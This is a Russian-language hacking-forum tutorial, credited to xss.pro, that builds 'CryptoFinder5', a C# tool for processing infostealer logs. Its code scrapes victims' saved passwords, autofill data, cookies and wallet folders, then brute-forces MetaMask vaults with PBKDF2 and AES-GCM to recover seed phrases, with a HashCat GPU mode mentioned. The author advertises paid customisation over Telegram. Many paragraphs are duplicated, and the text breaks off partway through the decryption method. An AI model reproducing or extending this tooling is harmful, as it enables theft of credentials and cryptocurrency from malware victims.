Источник: xss.pro
Автор Kain1029
Всем привет, дорогие друзья. Меня слишком давно не было на форуме и к сожалению не успел к конкурсу. Сегодня в нашей программе чекер крипты в логах. Я переработал имеющиеся алгоритмы в CFinder3 и CFinder4 , благополучно забросил чат и положил на все это дело болт.
Немного пред истории. Чисто случайно я наткнулся на одну свежую реализацию чекера крипто кошелька. Я не считаю себя ультраспциалистом, но у меня почти сразу же потекли глаза. Не было толковых названий переменных , весь код зависел друг от друга, никакого вам SOLID DRY KISS, про расширяемость я молчу. Я вновь загорелся идеей написать свой крипточекер, подзаработать немного реакций, а если повезет деньжат на новый сервер и крутую разработку, но сейчас не об этом.
Здесь будет очень(очень) много кода, но я старался расписать его понятнее, так что, если понял поставь лайк - поддержи опен сорс разработку.
Надеюсь данная статья будет полезна или поможет натолкнуть на мысль
Исходники в файле.
Я специально не стал выкладывать чек на баланс. Почему? Потому что много неопытных маслят захотят навариться на коде и запросто свистнут исходники на продажу. Я не жадный, но это не приятно.
Так же могу доработать софт под ваши нужны, за этим вопросом в ТГ: t.me/Skumbriaa
Автор Kain1029
Всем привет, дорогие друзья. Меня слишком давно не было на форуме и к сожалению не успел к конкурсу. Сегодня в нашей программе чекер крипты в логах. Я переработал имеющиеся алгоритмы в CFinder3 и CFinder4 , благополучно забросил чат и положил на все это дело болт.
Немного пред истории. Чисто случайно я наткнулся на одну свежую реализацию чекера крипто кошелька. Я не считаю себя ультраспциалистом, но у меня почти сразу же потекли глаза. Не было толковых названий переменных , весь код зависел друг от друга, никакого вам SOLID DRY KISS, про расширяемость я молчу. Я вновь загорелся идеей написать свой крипточекер, подзаработать немного реакций, а если повезет деньжат на новый сервер и крутую разработку, но сейчас не об этом.
Здесь будет очень(очень) много кода, но я старался расписать его понятнее, так что, если понял поставь лайк - поддержи опен сорс разработку.
Все, что я написал, является лишь продуктом моего воображения. Такого не существует, и мы живем в мире симулякра. Повторяйте это только на свой страх и риск. Я не несу ответственности за ваши действия.
Я придерживаюсь правила - "Семь раз отмерь и один раз пошли это все в жопу", поэтому будем много дебажить и править по месту. Конечно же шучу. Стараемся делать высококачественное приложение, потому что так надо.
Что нам понадобиться для создания крипточекера:
1. Прямые руки(хотя бы одна)
2. IDE. Я предпочитаю Rider , но вы делайте хоть в ворде
3. Голова на плечах и способность ей думать
4. Горячий чай
5. .NET Core 7
6. Опыт работы с C#
Что мы хотим получить в итоге?
По сути я хочу получить библиотеки, которые я могу использовать независимо друг от друга ,а в случае необходимости объединить их в один крипточекер, на текущем этапе мне достаточно парсер паролей и кошельков, но что если я буду расширять приложения и мне понадобятся доп функции? Исходя из этого мне необходима модульность. Чтобы ее достичь , достаточно просто разделить все составляющие на отдельно работающие библиотеки - модули. Если вы можете использовать один модуль независимо от другого, значит вы делаете все правильно.
Разделяй и властвуй © Александр Македонский
Что нам понадобиться для создания крипточекера:
1. Прямые руки(хотя бы одна)
2. IDE. Я предпочитаю Rider , но вы делайте хоть в ворде
3. Голова на плечах и способность ей думать
4. Горячий чай
5. .NET Core 7
6. Опыт работы с C#
Что мы хотим получить в итоге?
По сути я хочу получить библиотеки, которые я могу использовать независимо друг от друга ,а в случае необходимости объединить их в один крипточекер, на текущем этапе мне достаточно парсер паролей и кошельков, но что если я буду расширять приложения и мне понадобятся доп функции? Исходя из этого мне необходима модульность. Чтобы ее достичь , достаточно просто разделить все составляющие на отдельно работающие библиотеки - модули. Если вы можете использовать один модуль независимо от другого, значит вы делаете все правильно.
Разделяй и властвуй © Александр Македонский
Создаем пустой Solution с именем CryptoFinder5. нем создаем 4 папки, это будет условное разделение на функциональности. Вы можете назвать как хотите, но я назвал так:
1. Functions - здесь будут храниться проекты с расширениями, какие то мелкие функции и так далее.
2. Presentations - тут не придраться. Здесь храниться общая оболочка. Здесь создаются только исполняемые проекты(Консоль, WPF , ASP.NET и т.д.)
3. Scrapers - здесь находятся парсеры информации с лога. Изначально они были в Function папке , но когда их появилось аж 3, я решил их закинуть отдельно. Так гораздо удобнее.
4. WalletDecryptors - здесь хранятся проекты для расшифровки криптокошельков
Зачем нужно это разделение, если можно запихнуть все в один солюшен?
Не знаю как вам, а я испытываю эстетическое удовольствие когда все на своих местах, к тому же глазу удобнее и быстрее можно разобраться, где что лежит. Вы можете делать и в одной папке, но я считаю, что правильно даже визуально разделять проекты на составляющие.
1. Functions - здесь будут храниться проекты с расширениями, какие то мелкие функции и так далее.
2. Presentations - тут не придраться. Здесь храниться общая оболочка. Здесь создаются только исполняемые проекты(Консоль, WPF , ASP.NET и т.д.)
3. Scrapers - здесь находятся парсеры информации с лога. Изначально они были в Function папке , но когда их появилось аж 3, я решил их закинуть отдельно. Так гораздо удобнее.
4. WalletDecryptors - здесь хранятся проекты для расшифровки криптокошельков
Зачем нужно это разделение, если можно запихнуть все в один солюшен?
Не знаю как вам, а я испытываю эстетическое удовольствие когда все на своих местах, к тому же глазу удобнее и быстрее можно разобраться, где что лежит. Вы можете делать и в одной папке, но я считаю, что правильно даже визуально разделять проекты на составляющие.
Начнем с самого простого - методы расширения. Я проект уже дописал и знаю, какие конкретно нужны.
В папке Function создаем проект CrpytoFinder5.Extentions , в этом проекте будут лежать только утилиты и методы расширения и больше ничего.
В проекте создаем 2 папки:
Utils - сюда будем класть утилитки
Extentions - здесь будут храниться методы расширения
Начнем с Extention. В данной папке создам класс LinqExtention.cs и вставляете в него следующий код.
Папка Utils нам понадобится немного позже. Я написал интересную реализацию и думаю вам тоже зайдет.
-----------------------------------------------------
Собиратель паролей
-----------------------------------------------------
Первый на очереди и самый нужный это собиратель паролей.
С ходу я придумал 3 возможных реализации сбора паролей под каждый случай, они собирают разный по объему массив данных, но и жрут память по разному
1. Собираем пароли только из файла Passwords.txt поля "Password:" . Преимущества в том, что это самый низкозатратный метод. Он собирает только самое нужное, но имеет недостаток, если лог изменится и поле будет называться не Password: , а PWD: , работать оно уже не будет
2. Собираем пароли из файла Passwords.txt все поля. Собирает все поля, соответственно уже не важно как называется поле, пароль мы получим в любом случае. Исключения само собой есть, но это скорее индивидуальный случай, чем постоянная практика.
3. Собираем пароли из всех полей файлов Passwords.txt и Autofill. Собирает слишком много мусора, но это имеет самые высокие шансы найти подходящий пароль.
В папке Scrapers создаем проект CryptoFinder5.PasswordScraper , ввиду того, что он имеет целых 3 вариации работы и какие то настройки, сразу же создаем в этом проекте 2 папки Option и BasePasswordScraper
Ввиду того, что мы делаем модульную систему мы должны сделать ее настраиваемую изнутри, но главное не преусердствовать
В папку Option закидываем enum PasswordScraperOption
Далее в папку BasePasswordScraper закидываем файл PasswordScraperBase.cs Это будет базовый класс для всех типов собирателей паролей.
Отлично,а теперь приступаем к реализации наших 3х способов. Создаем 3 файла:
PasswordScraperLowPower.cs - для первого способа
PasswordScraperMediumPower.cs - для первого способа
PasswordScraperHighPower.cs - для первого способа
Со скрапером паролей мы закончили.Приступаем дальше.
-----------------------------------------------------
Собиратель кошельков
-----------------------------------------------------
Создаем еще один проект в папке Scrapper CryptoFinder5.WalletScraper
Здесь все точно так же 3 папки BaseWalletScraper, Enums, Models
В папку BaseWalletScrapers закидываем файл
В папку Enums закидываете файл WalletType.cs он представляет собой перечисление типов кошельков
В папку Models закидываем Wallet.cs , он будет представлять выходное значение.
Т.к. это у нас не брут, а просто парсер, то наша задача просто достать информацию о кошельке для дальнейшей обработки
Далее в папке проекта создаем WalletScraperClassic.cs . Он будет является реализацией абстрактного базового класса
-----------------------------------------------------
Собиратель куки
-----------------------------------------------------
В качестве бонуса решил приложить свою реализацию парсера куки.
Его можно и не делать, но для моего будущего софта оно пригодится.
Создаем в Scrapers CryptoFinder5.CookieScraper
2 папки: Models, BaseCookieScraper
Models -> Cookie.cs
BaseCookieScraper -> CookieScraperBase.cs
Вот и сделали простейшие парсеры.
Почему создаем отдельные проекты, если можно создать 1 проект и в ней 3 парсера?
Я создаю максимально независимую систему, чтобы в случае чего я мог отдельно использовать каждый из ее модулей по отдельности
Можно ли добавить еще несколько парсеров, например из Information.txt?
Да, для этого создаете еще один проект и делаете по аналогии.
Что еще можно доделать?
Я бы сделать парсинг не только паролей, но всех полей, создал модель и заполнил ее. В будущем это может пригодится
Если вы сделали, все правильно, то у вас будет примерно такая картина
В папке Function создаем проект CrpytoFinder5.Extentions , в этом проекте будут лежать только утилиты и методы расширения и больше ничего.
В проекте создаем 2 папки:
Utils - сюда будем класть утилитки
Extentions - здесь будут храниться методы расширения
Начнем с Extention. В данной папке создам класс LinqExtention.cs и вставляете в него следующий код.
Эти 2 метода расширения очень медленные, но порой очень удобные. Они выполняют фильтрацию по определенному условию.
C#:
public static class LinqExtentions
{
public static IEnumerable<TSource> WhereIf<TSource>(
this IEnumerable<TSource> source,
bool condition,
Func<TSource, bool> predicate)
{
return condition ? source.Where(predicate) : source;
}
public static IEnumerable<TSource> WhereIfElse<TSource>(
this IEnumerable<TSource> source,
bool condition,
Func<TSource, bool> predicateIf,
Func<TSource, bool> predicateElse)
{
return condition ? source.Where(predicateIf) : source.Where(predicateElse);
}
}
Эти 2 метода работают с массивом. Первый проверяет является ли массив пустым, второй проверяет имеются ли элементы в массиве.
Просто, но удобно. Можно было бы не выносить их в отдельный класс, а использовать по месту, но в таком случае, если добавится еще какое то условие для ВСЕХ массивов, придется переделывать его везде.
Просто, но удобно. Можно было бы не выносить их в отдельный класс, а использовать по месту, но в таком случае, если добавится еще какое то условие для ВСЕХ массивов, придется переделывать его везде.
C#:
public static class ListExtentions
{
public static bool IsEmpty<T>(this IEnumerable<T>? enumerable)
=> enumerable?.Any() != true;
public static bool IsNotEmpty<T>(this IEnumerable<T>? enumerable)
=> !IsEmpty(enumerable);
}
-----------------------------------------------------
Собиратель паролей
-----------------------------------------------------
Первый на очереди и самый нужный это собиратель паролей.
С ходу я придумал 3 возможных реализации сбора паролей под каждый случай, они собирают разный по объему массив данных, но и жрут память по разному
1. Собираем пароли только из файла Passwords.txt поля "Password:" . Преимущества в том, что это самый низкозатратный метод. Он собирает только самое нужное, но имеет недостаток, если лог изменится и поле будет называться не Password: , а PWD: , работать оно уже не будет
2. Собираем пароли из файла Passwords.txt все поля. Собирает все поля, соответственно уже не важно как называется поле, пароль мы получим в любом случае. Исключения само собой есть, но это скорее индивидуальный случай, чем постоянная практика.
3. Собираем пароли из всех полей файлов Passwords.txt и Autofill. Собирает слишком много мусора, но это имеет самые высокие шансы найти подходящий пароль.
В папке Scrapers создаем проект CryptoFinder5.PasswordScraper , ввиду того, что он имеет целых 3 вариации работы и какие то настройки, сразу же создаем в этом проекте 2 папки Option и BasePasswordScraper
Ввиду того, что мы делаем модульную систему мы должны сделать ее настраиваемую изнутри, но главное не преусердствовать
В папку Option закидываем enum PasswordScraperOption
Это будем перечислять режимы работы.
C#:
public enum PasswordScraperOption
{
LOW,
MEDIUM,
HIGH
}
Далее в папку BasePasswordScraper закидываем файл PasswordScraperBase.cs Это будет базовый класс для всех типов собирателей паролей.
C#:
public abstract class PasswordScraperBase
{
// Поставил на всякий случай, есть вероятность, что пригодится для внушней идентификации
// типа парсера
protected abstract PasswordScraperOption Option { get; set; }
// Указывает по какому признакому искать файл с возможными паролями
// В данному случае путь до файла(но и получается файл) должен содержить "assword"
protected virtual Func<string, bool> PasswordFileSearchPredicate { get; set; } = (string file)
=> file.Contains("assword", StringComparison.OrdinalIgnoreCase);
// Предикат для фильтрации строк в файле
// По умолчанию будет брать строку , которая содержит "assword"
protected virtual Func<string, bool> PasswordLinesPredicate { get; set; } = (string line)
=> line.Contains("assword", StringComparison.OrdinalIgnoreCase);
// Можно было и не делать, но решил вынести отдельно
// Предикат, который разделяет строку на составляющую не зависимо
// от кол-во пробелов и берет последнее слово
protected virtual Func<string, string?> PasswordScrapeInLinePredicate { get; set; } = (string line)
=> line.Split(new char[] { ' ','\t' }, StringSplitOptions.RemoveEmptyEntries).LastOrDefault();
// Сам метод является абстрактным, а это значит, что мы обязаны реализовать его
public abstract Task<List<string>> GetPasswordsAsync(string directory);
}
Отлично,а теперь приступаем к реализации наших 3х способов. Создаем 3 файла:
PasswordScraperLowPower.cs - для первого способа
PasswordScraperMediumPower.cs - для первого способа
PasswordScraperHighPower.cs - для первого способа
Реализация вполне стандартная. Ищем файлы, читаем в лист, возвращаем.
C#:
/// <summary>
/// Получает только пароли из файла Password поля Password
/// </summary>
public class PasswordScraperLowPower : PasswordScraperBase
{
protected override PasswordScraperOption Option { get; set; } = PasswordScraperOption.LOW;
public override async Task<List<string>> GetPasswordsAsync(string directory)
{
if (!Directory.Exists(directory))
throw new DirectoryNotFoundException("Данный путь не является папкой");
var allFiles = Directory.GetFiles(directory, "*", SearchOption.AllDirectories);
var passwordFiles = allFiles
.Where(PasswordFileSearchPredicate)
.ToArray();
var passwordLines = new List<string?>();
foreach (var passwordFile in passwordFiles)
{
var passwords = await File.ReadAllLinesAsync(passwordFile);
passwordLines.AddRange(passwords);
}
return passwordLines
.Where(PasswordLinesPredicate)
.Select(PasswordScrapeInLinePredicate)
.Distinct()
.Where(x => !string.IsNullOrWhiteSpace(x))
.ToList(); // Специально для xss.pro By Kain
}
}
Максимально простой класс. Здесь мы просто переопределяем предикаты базового класса на новую фильтрацию и получаем нужный результат
C#:
/// <summary>
/// Получает пароли из файлов Password все строчки
/// </summary>
public class PasswordScaperMediumPower : PasswordScraperLowPower
{
protected override PasswordScraperOption Option { get; set; } = PasswordScraperOption.MEDIUM;
protected override Func<string, bool> PasswordLinesPredicate { get; set; } = (string line) => true; //<- вообще не фильтруем, а говорим "Да, на устраивает эта строчка"
}
Здесь переопределяем 2 предиката: на поиск файла и на поиск строки.
Код:
/// <summary>
/// Получает пароли из Passwords.txt и Autofill.txt все строчки
/// </summary>
public class PasswordScraperHighPower : PasswordScraperLowPower
{
protected override PasswordScraperOption Option { get; set; } = PasswordScraperOption.HIGH;
protected override Func<string, bool> PasswordLinesPredicate { get; set; } = (string line) => true;
protected override Func<string, bool> PasswordFileSearchPredicate { get; set; } = (string file)
=> file.Contains("assword", StringComparison.OrdinalIgnoreCase) ||
file.Contains("utofill", StringComparison.OrdinalIgnoreCase);
}
Со скрапером паролей мы закончили.Приступаем дальше.
-----------------------------------------------------
Собиратель кошельков
-----------------------------------------------------
Создаем еще один проект в папке Scrapper CryptoFinder5.WalletScraper
Здесь все точно так же 3 папки BaseWalletScraper, Enums, Models
В папку BaseWalletScrapers закидываем файл
Здесь содержится абстрактный метод для получения кошельков , который необходимо реализовать везде и метод GetWalletTypeByString
По сути он работает как: предаете строковое представление кошелька (например Metamask) и он возвращает Enum. Все просто.
По сути он работает как: предаете строковое представление кошелька (например Metamask) и он возвращает Enum. Все просто.
C#:
public abstract class WalletScraperBase
{
public abstract Task<List<Wallet>?> GetWalletsList(string directory);
protected virtual WalletType GetWalletTypeByString(string walletStringName)
{
var walletTypeNames = Enum.GetValues(typeof(WalletType));
foreach (var walletType in walletTypeNames)
{
var stringWalletType = walletType.ToString();
if (walletStringName.Contains(stringWalletType, StringComparison.OrdinalIgnoreCase))
{
return (WalletType)walletType;
}
}
return WalletType.Unknown;
}
}
В папку Enums закидываете файл WalletType.cs он представляет собой перечисление типов кошельков
C#:
public enum WalletType
{
Unknown,
Metamask,
Ronin,
Brave,
Electrum,
Exodus,
Coinbase,
Armory,
Bitcoin,
Raven
}
В папку Models закидываем Wallet.cs , он будет представлять выходное значение.
Т.к. это у нас не брут, а просто парсер, то наша задача просто достать информацию о кошельке для дальнейшей обработки
C#:
public class Wallet
{
/// <summary>Путь до папки с кошельком</summary>
public string WalletDirectory { get; set; }
/// <summary>Тип кошелька</summary>
public WalletType WalletType { get; set; }
}
Далее в папке проекта создаем WalletScraperClassic.cs . Он будет является реализацией абстрактного базового класса
Ничего лишнего. Получаем все ПАПКИ в логе, ищем те, которые оканчиваются на Wallet или Wallets
и обрабатываем их, после чего возвращаем массивом
и обрабатываем их, после чего возвращаем массивом
Код:
public class WalletScraperClassic : WalletScraperBase
{
public override async Task<List<Wallet>?> GetWalletsList(string directory)
{
var allFiles = Directory.GetDirectories(directory, "*", SearchOption.AllDirectories);
var fileWithWalletPrefix = allFiles
.FirstOrDefault(x =>
x.EndsWith("allets", StringComparison.OrdinalIgnoreCase) ||
x.EndsWith("allet", StringComparison.OrdinalIgnoreCase));
if (fileWithWalletPrefix == null)
{
return null;
}
var walletDirectories = Directory.GetDirectories(fileWithWalletPrefix, "*", SearchOption.TopDirectoryOnly);
var wallets = new List<Wallet>();
if (walletDirectories.IsEmpty())
{
return wallets;
}
foreach (var walletDirectory in walletDirectories)
{
var stringNameWallet = walletDirectory.Split('\\').LastOrDefault() ?? string.Empty;
if (stringNameWallet != null)
{
wallets.Add(new Wallet()
{
WalletDirectory = walletDirectory,
WalletType = base.GetWalletTypeByString(walletDirectory)
});
}
}
return wallets;
}
}
-----------------------------------------------------
Собиратель куки
-----------------------------------------------------
В качестве бонуса решил приложить свою реализацию парсера куки.
Его можно и не делать, но для моего будущего софта оно пригодится.
Создаем в Scrapers CryptoFinder5.CookieScraper
2 папки: Models, BaseCookieScraper
Models -> Cookie.cs
C#:
public class Cookie
{
/// <summary>Имя</summary>
public string? Name { get; set; }
/// <summary>Значени</summary>
public string? Value { get; set; }
/// <summary>Домен</summary>
public string Domain { get; set; }
/// <summary>Путь</summary>
public string? Path { get; set; }
/// <summary>Http</summary>
public bool HttpOnly { get; set; }
/// <summary>Защищено</summary>
public bool Secure { get; set; }
/// <summary>Время</summary>
public int ExpTime { get; set; }
}
BaseCookieScraper -> CookieScraperBase.cs
C#:
public abstract class CookieScraperBase
{
protected virtual Func<string, bool> CookieFileSearchPredicate { get; set; } = (string file)
=> file.Contains("cookie", StringComparison.OrdinalIgnoreCase);
protected virtual Func<string, string, bool> CookieFileSearchTargetPredicate { get; set; } = (string file, string cookieName)
=> file.Contains(cookieName, StringComparison.OrdinalIgnoreCase);
public abstract Task<List<Cookie>> GetCookieList(string directory, string cookieName = null);
}
Получаем все файлы, путь до которых содержит cookie (без учета регистра), читаем , материализуем, возвращаем
Код:
public class CookieScraperClassicMode : CookieScraperBase
{
public override async Task<List<Cookie>> GetCookieList(string directory, string cookieBrowser = null)
{
var files = Directory.GetFiles(directory, "*", SearchOption.AllDirectories);
var cookieFiles = files
.Where(CookieFileSearchPredicate)
.WhereIf(!string.IsNullOrWhiteSpace(cookieBrowser),
file => CookieFileSearchTargetPredicate(file, cookieBrowser))
.ToArray();
var cookieList = new List<Cookie>();
foreach (var cookieFile in cookieFiles)
{
var cookieFileLines = await File.ReadAllLinesAsync(cookieFile);
var cookieFileLinesConverted = cookieFileLines
.Select(line => line.Split(new char[] { ' ', '\t' }, StringSplitOptions.RemoveEmptyEntries))
.Select(linePath => new Cookie()
{
Domain = linePath[0],
HttpOnly = bool.TryParse(linePath.ElementAtOrDefault(1), out bool httpOnly) && httpOnly,
Path = linePath.ElementAtOrDefault(2),
Secure = bool.TryParse(linePath.ElementAtOrDefault(3), out bool secure) && secure,
ExpTime = int.TryParse(linePath.ElementAtOrDefault(4), out int expTime) ? expTime : 0,
Name = linePath.ElementAtOrDefault(5),
Value = linePath.ElementAtOrDefault(6)
})
.ToArray();
cookieList.AddRange(cookieFileLinesConverted);
}
return cookieList;
}
}
Вот и сделали простейшие парсеры.
Почему создаем отдельные проекты, если можно создать 1 проект и в ней 3 парсера?
Я создаю максимально независимую систему, чтобы в случае чего я мог отдельно использовать каждый из ее модулей по отдельности
Можно ли добавить еще несколько парсеров, например из Information.txt?
Да, для этого создаете еще один проект и делаете по аналогии.
Что еще можно доделать?
Я бы сделать парсинг не только паролей, но всех полей, создал модель и заполнил ее. В будущем это может пригодится
Если вы сделали, все правильно, то у вас будет примерно такая картина
Когда я писал данную приложуху я начинал именно с этой библиотеки, но мы идет от простого к сложному, а это самое сложное, долгое и занимает слишком много времени.
Из всех кошельков я решил выбрать метамаск. Почему? Он претерпел изменения, старые софты уже не работают. В этом блоке я попытаюсь рассказать что изменилось и как исправить.
Сразу по изменениям. Я зашел на оф сайт восстановления мнемоники и перечитал js код. добавился новый объект - itteration со значением 60000 (но бывает и старые 10000), так же немного изменилась структура JSON,но это даже не проблема, а временная трудность.
В папке WalletDecryptors создаем проект CryptoFinde5.BaseDecryptor, теперь базовым будет являться проект, потому что я решил, отдельные реализации кошельков создавать отдельным проектом
2 папки: Models , Cryptography в первой содержатся модели, а во второй некоторые методы расшифровки.
Models -> Decrypted.cs
Cryptograpy -> PBKDF2.cs
Отлично. Базовые проект готов. Он будет описывать реализацию и иметь общие для всех кошельков свойства, ведь у каждого кошелька, есть приватный ключ / мнемоническая фраза , а значит ее можно без проблем вынести в общее
А теперь самое сладкое. Создаем CryptoFinder5.Metamask я думаю тут ничего объяснять не надо.
иерархия папок такая:
Decryptors
--DecryptCPU.cs <- расшифровка на процессоре
--DecryptGPU.cs <- расшифровка на видеокарте с помощью HashCat
--BaseDecrypt
----DecryptBase.cs
Extractors
--RegexExtractor.cs <- Поиск Data IV Salt с помощью регулярных выражений
--ParseExtractor.cs <- Поиск Data IV Salt с помощью перебора строки после vault (об этом ниже, очень крутой способ)
--ComboExtractor.cs <- Пробует поиск регулярками, если не находит пробует через парсинг
--BaseExractor
----ExtractorBase.cs
Models
--Decode.cs <- расшифрованные данные (мнемоника и пароль)
--Vault.cs <- Содержит данные из vault
Options
--MetamaskOptions.cs <- Просто класс опций, для передачи в качестве параметра
--DecryptMode.cs <- Способ расшифровки (он содержится в MetamaskOptions)
--ParseMode.cs <- Способ получения vault
Metamask.cs <- конкретный класс реализации расшифровки кошелька
Код достаточно понятный, поэтому комментировать я его не буду, если хотите можете почитать
С декриптором закончили. А теперь самое главное. Как получить vault из log файла быстро, без СМС и регистарции
в ранее созданной папке Utils (CryptoFinder5 -> CryptoFinder5.Extentions -> Utils) создаем файл JsonUtils
-----------------------------------------------------
Генератор адресов
-----------------------------------------------------
Я сделал 2 самых популярных ,которые у меня просили: Ethereum и Solana , для себя сделаю еще несколько разных, к примеру у меня есть генератор на Doge Coin
В Function создаем CryptoFinder5.AddressGenerator
Папка Models -> AddressModel.cs
Вот и все. Выходим на финишную прямую. Как оказалось нет ничего сложного. Просто поэтапно делаем каждый независимый модуль, а завтра объединим их все
Из всех кошельков я решил выбрать метамаск. Почему? Он претерпел изменения, старые софты уже не работают. В этом блоке я попытаюсь рассказать что изменилось и как исправить.
Сразу по изменениям. Я зашел на оф сайт восстановления мнемоники и перечитал js код. добавился новый объект - itteration со значением 60000 (но бывает и старые 10000), так же немного изменилась структура JSON,но это даже не проблема, а временная трудность.
В папке WalletDecryptors создаем проект CryptoFinde5.BaseDecryptor, теперь базовым будет являться проект, потому что я решил, отдельные реализации кошельков создавать отдельным проектом
2 папки: Models , Cryptography в первой содержатся модели, а во второй некоторые методы расшифровки.
Models -> Decrypted.cs
Данная модель представляет собой ни что иное как кошелек, вернее его расшифрованный вариант
C#:
public class Decrypted
{
public string? File { get; set; }
/// <summary>
/// Монемоническая фраза/ приватный ключ
/// </summary>
public string? Mnemonic { get; set; }
/// <summary>
/// Пароль
/// </summary>
public string? Password { get; set; }
/// <summary>
/// Строка HashCat
/// </summary>
public string? Hashcat { get; set; }
/// <summary>
/// Список адресов
/// </summary>
public IEnumerable<Address> Addresses { get; set; }
}
public class Address
{
/// <summary>
/// Адрес
/// </summary>
public string? Hash { get; set; }
/// <summary>
/// Данные о балансах адреса
/// </summary>
public List<Data>? Data { get; set; }
}
public class Data
{
/// <summary>
/// Имя токена
/// </summary>
public string? Token { get; set; }
/// <summary>
/// Баланс в WEI
/// </summary>
public ulong Balance { get; set; } = 0;
/// <summary>
/// Цена за единицу токена
/// </summary>
public double? Price { get; set; }
/// <summary>
/// Цена в $
/// </summary>
public double? Sum { get; set; }
}
Cryptograpy -> PBKDF2.cs
Объяснять слишком долго, можно просто поверить , что это надо
Код:
public class PBKDF2
{
public static byte[] DeriveKey(
byte[] password,
byte[] salt,
int iterationCount,
int keyBitLength,
HMAC prf)
{
prf.Key = password;
Ensure.MaxValue((long)keyBitLength, (long)uint.MaxValue,
"PBKDF2 expect derived key size to be not more that (2^32-1) bits, but was requested {0} bits.",
(object)keyBitLength);
int num1 = prf.HashSize / 8;
int num2;
int length = (int)Math.Ceiling((double)(num2 = keyBitLength / 8) / (double)num1);
int num3 = (length - 1) * num1;
int num4 = num2 - num3;
byte[][] numArray = new byte[length][];
for (int index = 0; index < length; ++index)
numArray[index] = PBKDF2.F(salt, iterationCount, index + 1, prf);
numArray[length - 1] = Arrays.LeftmostBits(numArray[length - 1], num4 * 8);
return Arrays.Concat(numArray);
}
private static byte[] F(byte[] salt, int iterationCount, int blockIndex, HMAC prf)
{
byte[] hash = prf.ComputeHash(Arrays.Concat(salt, Arrays.IntToBytes(blockIndex)));
byte[] left = hash;
for (int index = 2; index <= iterationCount; ++index)
{
hash = prf.ComputeHash(hash);
left = Arrays.Xor(left, hash);
}
return left;
}
private static class Arrays
{
public static byte[] Concat(params byte[][] arrays)
{
byte[] dst =
new byte[((IEnumerable<byte[]>)arrays).Sum<byte[]>((Func<byte[], int>)(a => a == null ? 0 : a.Length))];
int dstOffset = 0;
foreach (byte[] array in arrays)
{
if (array != null)
{
Buffer.BlockCopy((Array)array, 0, (Array)dst, dstOffset, array.Length);
dstOffset += array.Length;
}
}
return dst;
}
public static byte[] Xor(byte[] left, byte[] right)
{
Ensure.SameSize(left, right,
"Arrays.Xor(byte[], byte[]) expects both arrays to be same legnth, but was given {0} and {1}",
(object)left.Length, (object)right.Length);
byte[] numArray = new byte[left.Length];
for (int index = 0; index < left.Length; ++index)
numArray[index] = (byte)((uint)left[index] ^ (uint)right[index]);
return numArray;
}
public static byte[] IntToBytes(int value)
{
uint num = (uint)value;
return !BitConverter.IsLittleEndian
? new byte[4]
{
(byte)(num & (uint)byte.MaxValue),
(byte)(num >> 8 & (uint)byte.MaxValue),
(byte)(num >> 16 & (uint)byte.MaxValue),
(byte)(num >> 24 & (uint)byte.MaxValue)
}
: new byte[4]
{
(byte)(num >> 24 & (uint)byte.MaxValue),
(byte)(num >> 16 & (uint)byte.MaxValue),
(byte)(num >> 8 & (uint)byte.MaxValue),
(byte)(num & (uint)byte.MaxValue)
};
}
public static byte[] LeftmostBits(byte[] data, int lengthBits)
{
Ensure.Divisible(lengthBits, 8, "LeftmostBits() expects length in bits divisible by 8, but was given {0}",
(object)lengthBits);
int count = lengthBits / 8;
byte[] dst = new byte[count];
Buffer.BlockCopy((Array)data, 0, (Array)dst, 0, count);
return dst;
}
}
private static class Ensure
{
public static void Divisible(int arg, int divisor, string msg, params object[] args)
{
if (arg % divisor != 0)
throw new ArgumentException(string.Format(msg, args));
}
public static void MaxValue(long arg, long max, string msg, params object[] args)
{
if (arg > max)
throw new ArgumentException(string.Format(msg, args));
}
public static void SameSize(byte[] left, byte[] right, string msg, params object[] args)
{
if (left.Length != right.Length)
throw new ArgumentException(string.Format(msg, args));
}
}
}
Все по классике
C#:
public abstract class BaseDecryptor
{
public abstract Task<List<Decrypted>> DecryptWallet(string walletDirectory, IEnumerable<string> passwords);
}
Отлично. Базовые проект готов. Он будет описывать реализацию и иметь общие для всех кошельков свойства, ведь у каждого кошелька, есть приватный ключ / мнемоническая фраза , а значит ее можно без проблем вынести в общее
А теперь самое сладкое. Создаем CryptoFinder5.Metamask я думаю тут ничего объяснять не надо.
иерархия папок такая:
Decryptors
--DecryptCPU.cs <- расшифровка на процессоре
--DecryptGPU.cs <- расшифровка на видеокарте с помощью HashCat
--BaseDecrypt
----DecryptBase.cs
Extractors
--RegexExtractor.cs <- Поиск Data IV Salt с помощью регулярных выражений
--ParseExtractor.cs <- Поиск Data IV Salt с помощью перебора строки после vault (об этом ниже, очень крутой способ)
--ComboExtractor.cs <- Пробует поиск регулярками, если не находит пробует через парсинг
--BaseExractor
----ExtractorBase.cs
Models
--Decode.cs <- расшифрованные данные (мнемоника и пароль)
--Vault.cs <- Содержит данные из vault
Options
--MetamaskOptions.cs <- Просто класс опций, для передачи в качестве параметра
--DecryptMode.cs <- Способ расшифровки (он содержится в MetamaskOptions)
--ParseMode.cs <- Способ получения vault
Metamask.cs <- конкретный класс реализации расшифровки кошелька
Код достаточно понятный, поэтому комментировать я его не буду, если хотите можете почитать
C#:
public abstract class DecryptBase
{
public abstract Task<Decode?> Decrypt(Vault vault, IEnumerable<string> passwords);
}
C#:
public class DecryptCPU : DecryptBase
{
private readonly GcmBlockCipher _cipher = new(new AesEngine());
private readonly ParallelOptions _parallelOptions = new() { MaxDegreeOfParallelism = 100 };
public override async Task<Decode?> Decrypt(Vault vault, IEnumerable<string> passwords)
{
var vaultBytesTuple = vault.ToBytesTuple();
passwords = passwords
.Where(x => x.Length > 7)
.ToList();
// Сюда будем записывать рзультаты
bool isBruted = false;
string brutedResult = String.Empty;
string successPassword = string.Empty;
// Запускаем поиск в паралели
Parallel.ForEach(passwords, _parallelOptions, (password, state) =>
{
if (isBruted) return;
try
{
byte[] key = PBKDF2.DeriveKey(Encoding.UTF8.GetBytes(password), vaultBytesTuple.Salt, vault.KeyMetaData.Params.Itterrations, 256, HMAC.Create("HMACSHA256"));
AeadParameters parameters = new AeadParameters(new KeyParameter(key), 128, vaultBytesTuple.Iv, null);
_cipher.Init(false, parameters);
byte[] plainBytes = new byte[_cipher.GetOutputSize(vaultBytesTuple.Data.Length)];
int retLen = _cipher.ProcessBytes(vaultBytesTuple.Data, 0, vaultBytesTuple.Data.Length, plainBytes, 0);
_cipher.DoFinal(plainBytes, retLen);
// Если решилось верно т.е. не выбило ошибку - записывам результаты
isBruted = true;
brutedResult = Encoding.UTF8.GetString(plainBytes);
successPassword = password;
state.Stop();
}
catch { }
});
if (string.IsNullOrWhiteSpace(brutedResult))
return null;
